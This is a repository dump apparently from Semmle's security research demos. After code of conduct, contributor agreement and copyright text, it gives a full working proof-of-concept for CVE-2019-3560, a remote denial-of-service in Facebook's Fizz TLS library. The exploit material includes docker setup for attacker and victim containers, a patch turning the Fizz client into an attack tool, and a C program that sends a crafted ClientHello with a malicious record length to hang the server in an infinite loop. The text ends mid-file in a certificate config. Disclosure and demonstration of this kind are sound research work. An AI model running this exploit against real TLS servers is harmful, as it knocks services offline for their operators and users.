resolve issues on their own whenever possible. This builds a broader and deeper understanding and ultimately a healthier interaction. In the event that an issue cannot be resolved locally, please feel free to report your concerns by contacting code-of-conduct@semmle.com. 29 | In your report please include: 30 | * Your contact information. 31 | * Names (real, usernames or pseudonyms) of any individuals involved. If there are additional witnesses, please include them as well. 32 | * Your account of what occurred, and if you believe the incident is ongoing. If there is a publicly available record (e.g. a mailing list archive or a public chat log), please include a link or attachment. 33 | * Any additional information that may be helpful. 34 | 35 | All reports will be reviewed by a multi-person team and will result in a response that is deemed necessary and appropriate to the circumstances. Where additional perspectives are needed, the team may seek insight from others with relevant expertise or experience. The confidentiality of the person reporting the incident will be kept at all times. Involved parties are never part of the review team. 36 | 37 | Anyone asked to stop unacceptable behavior is expected to comply immediately. If an individual engages in unacceptable behavior, the review team may take any action they deem appropriate, including a permanent ban from the community. 38 | 39 | *This text is licensed under the [CC-BY-4.0](https://creativecommons.org/licenses/by/4.0/) license. It is based on a template established by the [TODO Group](http://todogroup.org/) and variants thereof used by numerous other large communities (e.g., [Microsoft](https://microsoft.github.io/codeofconduct/), [Facebook](https://code.fb.com/codeofconduct/), [Yahoo](https://yahoo.github.io/codeofconduct), [Twitter](https://github.com/twitter/code-of-conduct), [GitHub](https://blog.github.com/2015-07-20-adopting-the-open-code-of-conduct/)) and the Scope section from the [Contributor Covenant version 1.4](http://contributor-covenant.org/version/1/4/).* 40 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to Semmle open-source projects 2 | 3 | We welcome contributions to our project. If you have an idea or a bugfix then please go ahead an open a Pull Request! 4 | 5 | Before we accept your pull request, we will require that you have agreed to our Contributor License Agreement. This is not something that you need to do before you submit your pull request, but until you've done so, we will be unable to accept your contribution. 6 | 7 | ## Using your personal data 8 | 9 | If you contribute to this project, we will record your name and email 10 | address (as provided by you with your contributions) as part of the code 11 | repositories, which might be made public. We might also use this information 12 | to contact you in relation to your contributions, as well as in the 13 | normal course of software development. We also store records of your 14 | CLA agreements. Under GDPR legislation, we do this 15 | on the basis of our legitimate interest in creating the QL product. 16 | 17 | Please do get in touch (privacy@semmle.com) if you have any questions about 18 | this or our data protection policies. 19 | 20 | ## Contributor License Agreement 21 | 22 | This Contributor License Agreement (“Agreement”) is entered into between Semmle Limited (“Semmle,” “we” or “us” etc.), and You (as defined and further identified below). 23 | 24 | Accordingly, You hereby agree to the following terms for Your present and future Contributions submitted to Semmle: 25 | 26 | 1. **Definitions**. 27 | 28 | * "You" (or "Your") shall mean the Contribution copyright owner (whether an individual or organization) or legal entity authorized by the copyright owner that is making this Agreement with Semmle. For legal entities, the entity making a Contribution and all other entities that control, are controlled by, or are under common control with that entity are considered to be a single Contributor. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. 29 | 30 | * "Contribution(s)" shall mean the code, documentation or other original works of authorship, including any modifications or additions to an existing work, submitted by You to Semmle for inclusion in, or documentation of, any of the products or projects owned or managed by Semmle (the "Work(s)"). For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to Semmle or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, Semmle for the purpose of discussing and/or improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by You as "Not a Contribution." 31 | 32 | 2. **Grant of Copyright License**. You hereby grant to Semmle and to recipients of software distributed by Semmle a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare derivative works of, publicly display, publicly perform, sublicense, and distribute Your Contributions and such derivative works. 33 | 34 | 3. **Grant of Patent License**. You hereby grant to Semmle and to recipients of software distributed by Semmle a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by You that are necessarily infringed by Your Contribution(s) alone or by combination of Your Contribution(s) with the Work to which such Contribution(s) was submitted. If any entity institutes patent litigation against You or any other entity (including a cross-claim or counterclaim in a lawsuit) alleging that Your Contribution, or the Work to which You have contributed, constitutes direct or contributory patent infringement, then any patent licenses granted to that entity under this Agreement for that Contribution or Work shall terminate as of the date such litigation is filed. 35 | 36 | 4. **Ownership**. Except as set out above, You keep all right, title, and interest in Your Contribution. The rights that You grant to us under this Agreement are effective on the date You first submitted a Contribution to us, even if Your submission took place before the date You entered this Agreement. 37 | 38 | 5. **Representations**. You represent and warrant that: (i) the Contributions are an original work and that You can legally grant the rights set out in this Agreement; (ii) the Contributions and Semmle’s exercise of any license rights granted hereunder, does not and will not, infringe the rights of any third party; (iii) You are not aware of any pending or threatened claims, suits, actions, or charges pertaining to the Contributions, including without limitation any claims or allegations that any or all of the Contributions infringes, violates, or misappropriate the intellectual property rights of any third party (You further agree that You will notify Semmle immediately if You become aware of any such actual or potential claims, suits, actions, allegations or charges). 39 | 40 | 6. **Employer**. If Your employer(s) has rights to intellectual property that You create that includes Your Contributions, You represent and warrant that Your employer has waived such rights for Your Contributions to Semmle, or that You have received permission to make Contributions on behalf of that employer and that You are authorized to execute this Agreement on behalf of Your employer. 41 | 42 | 7. **Inclusion of Code**. We determine the code that is in our Works. You understand that the decision to include the Contribution in any project or source repository is entirely that of Semmle, and this agreement does not guarantee that the Contributions will be included in any product. 43 | 44 | 8. **Disclaimer**. You are not expected to provide support for Your Contributions, except to the extent You desire to provide support. You may provide support for free, for a fee, or not at all. Except as set forth herein, and unless required by applicable law or agreed to in writing, You provide Your Contributions on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND. 45 | 46 | 9. **General**. The failure of either party to enforce its rights under this Agreement for any period shall not be construed as a waiver of such rights. No changes or modifications or waivers to this Agreement will be effective unless in writing and signed by both parties. In the event that any provision of this Agreement shall be determined to be illegal or unenforceable, that provision will be limited or eliminated to the minimum extent necessary so that this Agreement shall otherwise remain in full force and effect and enforceable. This Agreement shall be governed by and construed in accordance with the laws of the State of California in the United States without regard to the conflicts of laws provisions thereof. In any action or proceeding to enforce rights under this Agreement, the prevailing party will be entitled to recover costs and attorneys’ fees. 47 | -------------------------------------------------------------------------------- /COPYRIGHT: -------------------------------------------------------------------------------- 1 | Copyright (c) Semmle Inc and other contributors. All rights reserved. 2 | 3 | Licensed under the Apache License, Version 2.0 (the "License"); you may not use 4 | this file except in compliance with the License. You may obtain a copy of the 5 | License at http://www.apache.org/licenses/LICENSE-2.0 6 | 7 | THIS CODE IS PROVIDED ON AN *AS IS* BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 8 | KIND, EITHER EXPRESS OR IMPLIED, INCLUDING WITHOUT LIMITATION ANY IMPLIED 9 | WARRANTIES OR CONDITIONS OF TITLE, FITNESS FOR A PARTICULAR PURPOSE, 10 | MERCHANTABLITY OR NON-INFRINGEMENT. 11 | 12 | See the Apache Version 2.0 License for specific language governing permissions 13 | and limitations under the License. 14 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/README.md: -------------------------------------------------------------------------------- 1 | # Remote DOS in Facebook Fizz (CVE-2019-3560) 2 | 3 | [Fizz](https://github.com/facebookincubator/fizz) contains a remotely triggerable infinite loop. It is due to an integer overflow in this [compound assignment](https://github.com/facebookincubator/fizz/blob/eaa81af854bef509c3c1d7c83df0cd0b084a0fef/fizz/record/PlaintextRecordLayer.cpp#L42). For more details about the bug, see this [blog post](https://lgtm.com/blog/facebook_fizz_CVE-2019-3560). 4 | 5 | The scenario for the demo is that there are two computers, named "fizz-server" and "fizz-attacker". The attacker sends a malicious message which triggers an infinite loop on the server. The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. 6 | 7 | ## Network setup 8 | 9 | Create a docker network bridge, to simulate a network with two separate computers. 10 | 11 | ``` 12 | docker network create -d bridge --subnet 172.18.0.0/16 fizz-demo-network 13 | ``` 14 | 15 | ## Server setup 16 | 17 | Build the docker image: 18 | 19 | ``` 20 | docker build server -t fizz-server --build-arg UID=`id -u` 21 | ``` 22 | 23 | Start the container: 24 | 25 | ``` 26 | docker run --rm --network fizz-demo-network --ip=172.18.0.10 -i -t fizz-server 27 | ``` 28 | 29 | If you want to be able to debug the fizz server, then you need to start the container with some extra command line arguments: 30 | 31 | ``` 32 | docker run --rm --network fizz-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t fizz-server 33 | ``` 34 | 35 | Inside the container, run this script to create some certs: 36 | 37 | ``` 38 | cd ~/certs 39 | ./create-certs.sh 40 | ``` 41 | 42 | Start the server: 43 | 44 | ``` 45 | ~/fizz/build_/bin/fizz server -accept 1443 -cert ~/certs/server-cert.pem -key ~/certs/server-key.pem 46 | ``` 47 | 48 | Note: TLS servers normally listen on port 443, rather than 1443. But root privileges are required to listen on 443, so you need to run the above command with `sudo` if you want to change the port number to 443. The `sudo` password in this docker container is "x". 49 | 50 | ## Attacker setup 51 | 52 | Build the docker image: 53 | 54 | ``` 55 | docker build attacker -t fizz-attacker --build-arg UID=`id -u` 56 | ``` 57 | 58 | Start the container: 59 | 60 | ``` 61 | docker run --rm --network fizz-demo-network --ip=172.18.0.11 -i -t fizz-attacker 62 | ``` 63 | 64 | Send the malicious message to the server: 65 | 66 | ``` 67 | ./poc/poc 172.18.0.10 1443 68 | ``` 69 | 70 | The source code for the PoC can be found in `poc.c`. 71 | 72 | ### Original PoC 73 | 74 | The original PoC, which I sent to Facebook when I first reported the vulnerability, is far less polished than `poc.c`, above. But it may be of interest because it shows how I tweaked the Fizz client to send the malicious message. The changes which I made can be found in `diff.txt`. (These changes were already applied during the `docker build` step, above.) You can run this version of the PoC like this: 75 | 76 | ``` 77 | ~/fizz/build_/bin/fizz client -connect 172.18.0.10:1443 78 | ``` 79 | 80 | This command will not return because it is waiting for a response from the server, which will never come. But you can just ctrl-C it, and the server will continue to be stuck in an infinite loop. 81 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | sudo tmux screen emacs git gdb net-tools g++ cmake \ 6 | libboost-all-dev libevent-dev libdouble-conversion-dev \ 7 | libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ 8 | liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ 9 | libjemalloc-dev libssl-dev pkg-config libsodium-dev 10 | 11 | ARG UID=1000 12 | 13 | # Create a non-root user account to run Fizz. 14 | RUN adduser attacker --disabled-password --uid $UID 15 | 16 | # Grant the 'attacker' user sudo access. This is not used for the 17 | # demo, but it is often handy for installing extra packages. 18 | RUN adduser attacker sudo 19 | RUN echo "attacker:x" | chpasswd 20 | COPY home/ /home/attacker/ 21 | RUN chown -R attacker:attacker /home/attacker 22 | 23 | # Switch over to the 'attacker' user, since root access is no longer required 24 | USER attacker 25 | WORKDIR /home/attacker 26 | 27 | # Build the PoC 28 | RUN cd poc && make 29 | 30 | # The original PoC used a modified version of Fizz. So we need to 31 | # clone and build Folly, which Fizz depends on. 32 | RUN git clone https://github.com/facebook/folly && \ 33 | cd folly && \ 34 | git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ 35 | mkdir build_ && cd build_ && \ 36 | cmake .. && \ 37 | make -j $(nproc) 38 | 39 | # Install Folly. 40 | USER root 41 | RUN cd /home/attacker/folly/build_ && make install 42 | USER attacker 43 | 44 | # Build the original PoC, which I sent to Facebook when I first 45 | # reported the vulnerability. It is a modified version of Fizz. (Note 46 | # the `git apply` immediately after the `git checkout`.) 47 | RUN git clone https://github.com/facebookincubator/fizz && \ 48 | cd fizz && \ 49 | git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ 50 | git apply ~/diff.txt && \ 51 | mkdir build_ && cd build_ && \ 52 | cmake ../fizz && \ 53 | make -j $(nproc) 54 | 55 | # Install modified Fizz. 56 | USER root 57 | RUN cd /home/attacker/fizz/build_ && make install 58 | USER attacker 59 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt: -------------------------------------------------------------------------------- 1 | diff --git a/fizz/client/ClientProtocol.cpp b/fizz/client/ClientProtocol.cpp 2 | index 8804de7..82bdbbd 100644 3 | --- a/fizz/client/ClientProtocol.cpp 4 | +++ b/fizz/client/ClientProtocol.cpp 5 | @@ -450,7 +450,7 @@ static ClientHello getClientHello( 6 | chlo.extensions.push_back(encodeExtension(std::move(modes))); 7 | } 8 | 9 | - if (earlyDataParams) { 10 | + if (true || earlyDataParams) { 11 | chlo.extensions.push_back(encodeExtension(ClientEarlyData())); 12 | } 13 | 14 | @@ -1186,6 +1186,8 @@ Actions EventHandler< 15 | } else { 16 | encodedClientHello = encodeHandshake(std::move(chlo)); 17 | handshakeContext->appendToTranscript(encodedClientHello); 18 | + encodedClientHello->reserve(0, 0x11000); 19 | + encodedClientHello->append(0x11000); 20 | } 21 | 22 | auto earlyDataType = state.earlyDataType() == EarlyDataType::Attempted 23 | @@ -1194,7 +1196,7 @@ Actions EventHandler< 24 | 25 | WriteToSocket clientFlight; 26 | auto chloWrite = 27 | - state.writeRecordLayer()->writeHandshake(encodedClientHello->clone()); 28 | + state.writeRecordLayer()->writeAppData(encodedClientHello->clone()); 29 | 30 | bool sentCCS = state.sentCCS(); 31 | folly::Optional ccsWrite; 32 | diff --git a/fizz/client/FizzClientContext.h b/fizz/client/FizzClientContext.h 33 | index 9def034..7508098 100644 34 | --- a/fizz/client/FizzClientContext.h 35 | +++ b/fizz/client/FizzClientContext.h 36 | @@ -220,7 +220,7 @@ class FizzClientContext { 37 | SignatureScheme::rsa_pss_sha256}; 38 | std::vector supportedGroups_ = {NamedGroup::x25519, 39 | NamedGroup::secp256r1}; 40 | - std::vector defaultShares_ = {NamedGroup::x25519}; 41 | + std::vector defaultShares_ = {NamedGroup::secp521r1}; 42 | std::vector supportedPskModes_ = { 43 | PskKeyExchangeMode::psk_dhe_ke, 44 | PskKeyExchangeMode::psk_ke}; 45 | diff --git a/fizz/record/PlaintextRecordLayer.cpp b/fizz/record/PlaintextRecordLayer.cpp 46 | index e33ef9e..ce33252 100644 47 | --- a/fizz/record/PlaintextRecordLayer.cpp 48 | +++ b/fizz/record/PlaintextRecordLayer.cpp 49 | @@ -112,22 +112,24 @@ TLSContent PlaintextWriteRecordLayer::writeInitialClientHello( 50 | TLSContent PlaintextWriteRecordLayer::write( 51 | TLSMessage msg, 52 | ProtocolVersion recordVersion) const { 53 | +#if 0 54 | if (msg.type == ContentType::application_data) { 55 | throw std::runtime_error("refusing to send plaintext application data"); 56 | } 57 | +#endif 58 | 59 | auto fragment = std::move(msg.fragment); 60 | folly::io::Cursor cursor(fragment.get()); 61 | std::unique_ptr data; 62 | while (!cursor.isAtEnd()) { 63 | Buf thisFragment; 64 | - auto len = cursor.cloneAtMost(thisFragment, kMaxPlaintextRecordSize); 65 | + auto len = cursor.cloneAtMost(thisFragment, 0x20000); 66 | 67 | auto header = folly::IOBuf::create(kPlaintextHeaderSize); 68 | folly::io::Appender appender(header.get(), kPlaintextHeaderSize); 69 | appender.writeBE(static_cast(msg.type)); 70 | appender.writeBE(static_cast(recordVersion)); 71 | - appender.writeBE(len); 72 | + appender.writeBE(len < 0x1000 ? len : 0x10000-kPlaintextHeaderSize); 73 | 74 | if (!data) { 75 | data = std::move(header); 76 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile: -------------------------------------------------------------------------------- 1 | poc: poc.c 2 | gcc -o poc poc.c 3 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | // Open a socket to the provided server:port combination. Returns the 12 | // socket number of success, -1 on failure. 13 | int connectToUrl(const char* server, const char* port) { 14 | struct addrinfo hints; 15 | memset(&hints, 0, sizeof(struct addrinfo)); 16 | hints.ai_family = AF_UNSPEC; 17 | hints.ai_socktype = SOCK_STREAM; 18 | hints.ai_flags = 0; 19 | hints.ai_protocol = 0; 20 | 21 | struct addrinfo *result; 22 | const int err = getaddrinfo(server, port, &hints, &result); 23 | if (err != 0) { 24 | fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); 25 | return 1; 26 | } 27 | 28 | struct addrinfo *rp; 29 | for (rp = result; rp != NULL; rp = rp->ai_next) { 30 | const int s = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); 31 | if (s < 0) { 32 | continue; 33 | } 34 | 35 | if (connect(s, rp->ai_addr, rp->ai_addrlen) != -1) { 36 | freeaddrinfo(result); 37 | return s; 38 | } 39 | 40 | close(s); 41 | } 42 | 43 | freeaddrinfo(result); 44 | return -1; 45 | } 46 | 47 | // Write a uint8_t to starting address &buf[offset]. Return the updated 48 | // offset. 49 | size_t writeUint8(char* buf, size_t offset, uint8_t x) { 50 | buf[offset++] = x; 51 | return offset; 52 | } 53 | 54 | // Write a uint16_t to starting address &buf[offset] (in big endian 55 | // order). Return the updated offset. 56 | size_t writeUint16(char* buf, size_t offset, uint16_t x) { 57 | buf[offset++] = (x >> 8) & 0xFF; 58 | buf[offset++] = x & 0xFF; 59 | return offset; 60 | } 61 | 62 | // Write a uint24_t to starting address &buf[offset] (in big endian 63 | // order). Return the updated offset. 64 | size_t writeUint24(char* buf, size_t offset, uint32_t x) { 65 | buf[offset++] = (x >> 16) & 0xFF; 66 | buf[offset++] = (x >> 8) & 0xFF; 67 | buf[offset++] = x & 0xFF; 68 | return offset; 69 | } 70 | 71 | // Write a block of bytes to starting address &buf[offset]. Return the 72 | // updated offset. 73 | size_t writeMany(char* buf, size_t offset, uint8_t x, size_t n) { 74 | memset(&buf[offset], x, n); 75 | return offset + n; 76 | } 77 | 78 | // Write a string to starting address &buf[offset]. Return the 79 | // updated offset. 80 | size_t writeString(char* buf, size_t offset, const char* str, size_t n) { 81 | memcpy(&buf[offset], str, n); 82 | return offset + n; 83 | } 84 | 85 | // Write the complete payload to the buffer. Return the length. 86 | size_t writePayload(char* buf, const char* server, size_t serverlen) { 87 | size_t n = 0; // Used to keep track of current offset in the buffer. 88 | 89 | n = writeUint8(buf, n, 0x16); // ContentType::handshake 90 | n = writeUint16(buf, n, 0x0301); // fizz::ProtocolVersion::tls_1_0 91 | 92 | { 93 | const size_t start = n; // Length will be written here at end of block. 94 | n += 2; 95 | 96 | // ReadRecordLayer::decodeHandshakeMessage 97 | n = writeUint8(buf, n, 0x01); // handshakeType = fizz::HandshakeType::client_hello 98 | 99 | { 100 | const size_t start = n; // Length will be written here at end of block. 101 | n += 3; 102 | 103 | // ClientHello decode() fizz/record/Types-inl.h:527 104 | n = writeUint16(buf, n, 0x0303); // chlo.legacy_version = fizz::ProtocolVersion::tls_1_2 105 | n = writeMany(buf, n, 0xcd, 32); // chlo.random 106 | 107 | n = writeUint8(buf, n, 0); // Length of chlo.legacy_session_id array 108 | 109 | n = writeUint16(buf, n, 6); // Length of chlo.cipher_suites 110 | n = writeUint16(buf, n, 0x1301); 111 | n = writeUint16(buf, n, 0x1302); 112 | n = writeUint16(buf, n, 0x1303); 113 | 114 | n = writeUint8(buf, n, 1); // Length of chlo.legacy_compression_methods 115 | n = writeUint8(buf, n, 0); 116 | 117 | // chlo.extensions 118 | { 119 | const size_t start = n; // Length will be written here at end of block. 120 | n += 2; 121 | 122 | // SupportedVersions 123 | n = writeUint16(buf, n, 0x2b); // fizz::ExtensionType::supported_versions 124 | { 125 | const size_t start = n; // Length will be written here at end of block. 126 | n += 2; 127 | 128 | { 129 | const size_t start = n; // Length will be written here at end of block. 130 | n += 1; 131 | 132 | n = writeUint16(buf, n, 0x0304); // fizz::ProtocolVersion::tls_1_3 133 | n = writeUint16(buf, n, 0x7f1c); // fizz::ProtocolVersion::tls_1_3_28 134 | 135 | writeUint8(buf, start, n-start-1); // Length 136 | } 137 | 138 | writeUint16(buf, start, n-start-2); // Length 139 | } 140 | 141 | // SupportedGroups 142 | n = writeUint16(buf, n, 0x0a); // fizz::ExtensionType::supported_groups 143 | { 144 | const size_t start = n; // Length will be written here at end of block. 145 | n += 2; 146 | 147 | { 148 | const size_t start = n; // Length will be written here at end of block. 149 | n += 2; 150 | 151 | n = writeUint16(buf, n, 0x1d); // fizz::NamedGroup::x25519 152 | n = writeUint16(buf, n, 0x17); // fizz::NamedGroup::secp256r1 153 | 154 | writeUint16(buf, start, n-start-2); // Length 155 | } 156 | 157 | writeUint16(buf, start, n-start-2); // Length 158 | } 159 | 160 | // ClientKeyShare 161 | n = writeUint16(buf, n, 0x33); // fizz::ExtensionType::key_share 162 | { 163 | const size_t start = n; // Length will be written here at end of block. 164 | n += 2; 165 | 166 | { 167 | const size_t start = n; // Length will be written here at end of block. 168 | n += 2; 169 | 170 | n = writeUint16(buf, n, 0x19); // fizz::NamedGroup::secp521r1 171 | 172 | { 173 | const size_t start = n; // Length will be written here at end of block. 174 | n += 2; 175 | 176 | n = writeMany(buf, n, 0xcd, 0x85); // Any size will work here. 177 | 178 | writeUint16(buf, start, n-start-2); // Length 179 | } 180 | 181 | writeUint16(buf, start, n-start-2); // Length 182 | } 183 | 184 | writeUint16(buf, start, n-start-2); // Length 185 | } 186 | 187 | // SignatureAlgorithms 188 | n = writeUint16(buf, n, 0x0d); // fizz::ExtensionType::signature_algorithms 189 | { 190 | const size_t start = n; // Length will be written here at end of block. 191 | n += 2; 192 | 193 | { 194 | const size_t start = n; // Length will be written here at end of block. 195 | n += 2; 196 | 197 | n = writeUint16(buf, n, 0x0403); // fizz::SignatureScheme::ecdsa_secp256r1_sha256 198 | n = writeUint16(buf, n, 0x0804); // fizz::SignatureScheme::rsa_pss_sha256 199 | 200 | writeUint16(buf, start, n-start-2); // Length 201 | } 202 | 203 | writeUint16(buf, start, n-start-2); // Length 204 | } 205 | 206 | // ServerName 207 | n = writeUint16(buf, n, 0); // fizz::ExtensionType::server_name 208 | { 209 | const size_t start = n; // Length will be written here at end of block. 210 | n += 2; 211 | 212 | { 213 | const size_t start = n; // Length will be written here at end of block. 214 | n += 2; 215 | 216 | n = writeUint8(buf, n, 0); // fizz::ServerNameType::host_name 217 | { 218 | const size_t start = n; // Length will be written here at end of block. 219 | n += 2; 220 | 221 | n = writeString(buf, n, server, serverlen); 222 | 223 | writeUint16(buf, start, n-start-2); // Length 224 | } 225 | 226 | writeUint16(buf, start, n-start-2); // Length 227 | } 228 | 229 | writeUint16(buf, start, n-start-2); // Length 230 | } 231 | 232 | // PskKeyExchangeModes 233 | n = writeUint16(buf, n, 0x2d); // fizz::ExtensionType::psk_key_exchange_modes 234 | { 235 | const size_t start = n; // Length will be written here at end of block. 236 | n += 2; 237 | 238 | { 239 | const size_t start = n; // Length will be written here at end of block. 240 | n += 1; 241 | 242 | n = writeUint8(buf, n, 1); // psk_dhe_ke 243 | n = writeUint8(buf, n, 0); // psk_ke 244 | 245 | writeUint8(buf, start, n-start-1); // Length 246 | } 247 | 248 | writeUint16(buf, start, n-start-2); // Length 249 | } 250 | 251 | // ClientEarlyData 252 | n = writeUint16(buf, n, 0x2a); // fizz::ExtensionType::early_data 253 | n = writeUint16(buf, n, 0); // Length of ClientEarlyData 254 | 255 | writeUint16(buf, start, n-start-2); // Length 256 | } 257 | 258 | writeUint24(buf, start, n-start-3); // Length 259 | } 260 | 261 | writeUint16(buf, start, n-start-2); // Length 262 | } 263 | 264 | n = writeUint8(buf, n, 0x17); // ContentType::handshake 265 | n = writeUint16(buf, n, 0x0303); // fizz::ProtocolVersion::tls_1_3 266 | n = writeUint16(buf, n, 0xfffb); // length (malicious) 267 | 268 | // The infinite loop doesn't start until will we deliver 16KB of data. 269 | // The contents don't matter though, so we send zeros. 270 | n = writeMany(buf, n, 0x00, 0x10000); 271 | 272 | return n; 273 | } 274 | 275 | int main(int argc, char *argv[]) 276 | { 277 | // Check the command line arguments. 278 | if (argc != 3) { 279 | fprintf(stderr, "Usage: %s host port\n", argc > 0 ? argv[0] : "poc"); 280 | exit(1); 281 | } 282 | 283 | const char* server = argv[1]; 284 | const char* port = argv[2]; 285 | size_t serverlen = strlen(argv[1]); 286 | if (serverlen > 0x1000) { 287 | fprintf( 288 | stderr, 289 | "Server name has 0x%lx characters. Maximum allowed: 0x1000.\n", 290 | serverlen 291 | ); 292 | } 293 | 294 | // Create the payload. 295 | char buf[0x20000]; 296 | const size_t n = writePayload(buf, server, serverlen); 297 | assert(n <= sizeof(buf)); 298 | 299 | // Connect to the server. 300 | const int s = connectToUrl(server, port); 301 | if (s < 0) { 302 | fprintf(stderr, "Could not connect\n"); 303 | return 1; 304 | } 305 | 306 | // Send the payload. 307 | const ssize_t nw = write(s, buf, n); 308 | 309 | // Check for errors. 310 | if (nw != n) { 311 | if (nw < 0) { 312 | const int err = errno; 313 | fprintf(stderr, "Send failed: %s\n", strerror(err)); 314 | return 1; 315 | } else { 316 | fprintf( 317 | stderr, 318 | "Failed to send complete payload: sent %ld out of %ld.\n", 319 | nw, 320 | n 321 | ); 322 | return 1; 323 | } 324 | } 325 | 326 | return 0; 327 | } 328 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:bionic 2 | 3 | RUN apt-get update && \ 4 | apt-get install -y \ 5 | sudo tmux screen emacs git gdb net-tools g++ cmake \ 6 | libboost-all-dev libevent-dev libdouble-conversion-dev \ 7 | libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ 8 | liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ 9 | libjemalloc-dev libssl-dev pkg-config libsodium-dev 10 | 11 | ARG UID=1000 12 | 13 | # Create a non-root user account to run Fizz. 14 | RUN adduser victim --disabled-password --uid $UID 15 | 16 | # Grant the 'victim' user sudo access. This is not used for the demo, 17 | # but it is often handy for installing extra packages. 18 | RUN adduser victim sudo 19 | RUN echo "victim:x" | chpasswd 20 | COPY home/ /home/victim/ 21 | RUN chown -R victim:victim /home/victim 22 | 23 | # Switch over to the 'victim' user, since root access is no longer required 24 | USER victim 25 | WORKDIR /home/victim 26 | 27 | # Clone and build Folly, which Fizz depends on. 28 | RUN git clone https://github.com/facebook/folly && \ 29 | cd folly && \ 30 | git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ 31 | mkdir build_ && cd build_ && \ 32 | cmake .. && \ 33 | make -j $(nproc) 34 | 35 | # Install Folly. 36 | USER root 37 | RUN cd /home/victim/folly/build_ && make install 38 | USER victim 39 | 40 | # Clone and build Fizz. 41 | RUN git clone https://github.com/facebookincubator/fizz && \ 42 | cd fizz && \ 43 | git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ 44 | mkdir build_ && cd build_ && \ 45 | cmake ../fizz && \ 46 | make -j $(nproc) 47 | 48 | # Install Fizz. 49 | USER root 50 | RUN cd /home/victim/fizz/build_ && make install 51 | USER victim 52 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits = 2048 3 | distinguished_name = dn 4 | x509_extensions = san 5 | req_extensions = san 6 | extensions = san 7 | prompt = no 8 | 9 | [ ca ] 10 | default_ca = ca_default 11 | 12 | [ ca_default ] 13 | private_key = root-ca-key.pem 14 | certificate = root-ca.pem 15 | new_certs_dir = new_certs 16 | database = root-ca.index 17 | default_md = sha256 18 | serial = root-ca.serial 19 | email_in_dn = no 20 | default_days = 365 21 | policy = policy 22 | 23 | [ policy ] 24 | countryName = optional 25 | stateOrProvinceName = optional 26 | localityName = optional 27 | organizationName = optional 28 | organizationalUnitName = optional 29 | commonName = supplied 30 | 31 | [ dn ] 32 | countryName = US 33 | stateOrProvinceName = CA 34 | localityName = San Francisco 35 | organizationName = Wholesome Certifications Inc. 36 | commonName = wholesomecertifications.com 37 | emailAddress = webmaster@wholesomecertifications.com 38 | 39 | [ san ] 40 | basicConstraints = CA:TRUE 41 | subjectAltName = @alt_names 42 | subjectKeyIdentifier = hash 43 | 44 | [ alt_names ] 45 | DNS.1 = *.wholesomecertifications.com 46 | DNS.2 = *.wholesomecerts.com 47 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Delete all auto-generated files. 4 | 5 | rm -f *~ 6 | rm -rf new_certs 7 | rm -f root-ca* 8 | rm -f server-*.pem 9 | rm -f client-*.pem 10 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | mkdir new_certs 4 | touch root-ca.index 5 | touch root-ca.index.attr 6 | echo 00 > root-ca.crlnum 7 | openssl rand -hex 16 > root-ca.serial 8 | 9 | # create self-signed certificate 10 | openssl req -config ca.config -new -x509 -sha256 -newkey rsa:2048 -nodes \ 11 | -keyout root-ca-key.pem -days 365 -out root-ca.pem 12 | 13 | # Create signing request for the server 14 | openssl req -config server.config -new -sha256 -newkey rsa:2048 -nodes \ 15 | -keyout server-key.pem -days 365 -out server-request.pem 16 | 17 | # Create signed certificate for the server 18 | openssl ca -config server.config -batch -days 365 -extensions server_ext -out server-cert.pem -infiles server-request.pem 19 | -------------------------------------------------------------------------------- /Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config: -------------------------------------------------------------------------------- 1 | [ req ] 2 | default_bits 